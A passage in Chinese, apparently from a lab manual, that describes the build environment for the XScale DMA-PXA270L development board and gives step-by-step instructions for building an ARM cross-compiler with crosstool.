6. 操作平台
長高科技XScale DMA-PXA270L開發平台
6.1 編譯環境
以下為實驗時使用的版本
●Fedora core 6、Kernel 2.6.18
●GCC version 4.1.1(Red Hat 4.1.1-51)(Host:i386-linux-gnu、Target:i386-linux-gnu)
●GCC version 4.1.0(Host:i686-host_pc-linux-gnu、Target:arm-xscale-linux-gnu)
6.2 toolchain建立
以下粗體字部份請自行代換
1. crosstool會自動抓取需要的原始碼,因此需要網路連線;如果不行,則可以自行抓取所需的原始檔並放在/home/userName/downloads目錄下
2. 使用crosstool需要安裝額外的package:bison、flex
3. crosstool下載:http://kegel.com/crosstool/
4. 把壓縮檔解開“tar -zxf crosstoolName”
5. 編譯出的cross compiler會自動出現在/opt/crosstool目錄下,因此必須以root的身份建立空資料夾“mkdir /opt/crosstool”“chown userName /opt/crosstool”
6. 切換成非root帳號,進入crosstoolName目錄下,執行“sh demo-arm-xscale.sh”(因為PXA270是xscale晶片)便開始自動編譯cross compiler,過程20分鐘到40分鐘不等
